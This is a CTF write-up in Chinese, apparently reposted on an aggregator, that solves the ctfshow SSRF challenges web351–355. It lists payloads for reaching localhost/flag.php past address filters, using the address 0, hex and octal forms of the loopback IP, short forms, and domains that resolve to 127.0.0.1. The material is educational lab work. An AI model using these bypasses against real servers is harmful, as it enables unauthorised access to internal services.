ctfshow web入门 ssrf web351-355

news/2024/11/29 1:39:17/

1.web351

在这里插入图片描述
尝试访问本机的flag.php

payload:

url=http://localhost/flag.php
url=http://127.0.0.1/flag.php

2.web352

在这里插入图片描述
必须要用http或https,ip没有过滤因为匹配时没加变量,恒为真
payload:

url=http://127.0.0.1/flag.php
url=http://localhost/flag.php

3.web352

在这里插入图片描述
必须要用http或https,过滤了127.0.,只要匹配到了127.0.就不能继续执行了
windows 0代表0.0.0.0
linux 0代表 127.0.0.1
可以用0代替127.0.0.1
payload:

url=http://0/flag.php                #特殊0绕过
url=http://0.0.0.0/flag.php     #特殊0绕过
url=url=http://0x7F000001/flag.php   #进制绕过
http://0177.0.0.1/flag.php                   #进制绕过
http://127.1/flag.php                 #简写绕过

4.web354

在这里插入图片描述
过滤了0和1,可以把域名解析到127.0.0.1
http://safe.taobao.com/
http://114.taobao.com/
http://wifi.aliyun.com/
http://imis.qq.com/
http://localhost.sec.qq.com/
http://ecd.tencent.com/
http://sudo.cc/

url=http://sudo.cc/flag.php   

5.web355

在这里插入图片描述
对ip长度做了限制
payload:

url=http://0/flag.php
url=http://127.1/flag.php

参考文章:
ssrf


http://www.ppmy.cn/news/68916.html

相关文章

Halcon 形态学(膨胀(Dilation)、腐蚀(Erosion))

文章目录 1 形态学概念2 膨胀(Dilation) 算子介绍3 腐蚀(Erosion)算子介绍4 膨胀腐蚀 示例15 腐蚀膨胀 示例26 示例原图7 补充:结构元素概念1 形态学概念 图像的形态学处理是对图像的局部像素进行处理,用于从图像中提取有意义的局部图像细节。 通过改变局部区域的像素形态…

Java每日一练(20230516) 最小栈、组合总和II、相同的树

目录 1. 最小栈 🌟 2. 组合总和 II 🌟🌟 3. 相同的树 🌟 🌟 每日一练刷题专栏 🌟 Golang每日一练 专栏 Python每日一练 专栏 C/C每日一练 专栏 Java每日一练 专栏 1. 最小栈 设计一个支持 push…

CPU的功能和组成

CPU的功能和组成 CPU是控制计算机自动完成取指令和执行指令任务的部件,是计算机的核心部件、简称CPU 功能: 指令控制:对程序的顺序控制也是对指令执行的顺序控制(PC、JMP)操作控制:产生各种操作信号&…

【软件工程】为什么要选择软件工程专业?

个人主页:【😊个人主页】 文章目录 前言软件工程💻💻💻就业岗位👨‍💻👨‍💻👨‍💻就业前景🛩️🛩️🛩️工作环…

java工程构建时带上分支,commit等信息

背景: 线上部署的jar包(不管是直接运行jar包,还是通过容器运行的jar)有时出现问题时需要查看源代码,需要知道该jar包是从哪个分支、哪个commit、哪个时间打包的。 有了这些信息能更好辅助我们分析判断问题。 这里以gr…

Baumer工业相机堡盟工业相机使用BGAPI SDK将图像数据转换为Bitmap的几种方式(C++)(Mono)

Baumer工业相机堡盟工业相机使用BGAPI SDK将图像数据转换为Bitmap的几种方式(C) Baumer工业相机Baumer工业相机图像数据转为Bitmap的技术背景Baumer工业相机使用BGAPISDK将图像数据转换为Bitmap的几种方式1.引用合适的类文件2.BGAPI SDK原始图像数据为Bi…

docker安装mysql并修改远程登陆权限

一、docker 安装 启动容器 sudo docker start 831316f3ca61查看容器 sudo docker ps -a进入容器 sudo doker exec -it cf49e8f51a31 /bin/bash删除容器 sudo docker rm 831316f3ca61根据Dockerfile 创建镜像 sudo docker build -t solidifi .运行某个容器 sudo docker run -it…

边缘计算的挑战与未来:探索物联网、自动驾驶和智能城市的边缘计算应用

随着移动互联网、物联网和5G技术的发展,边缘计算正在成为一种重要的计算范式,越来越多的企业和组织开始将其应用于实际业务中。边缘计算旨在将计算和数据存储推向离用户更近的边缘设备,以提高响应速度、降低成本和提高用户体验。在本次研讨会…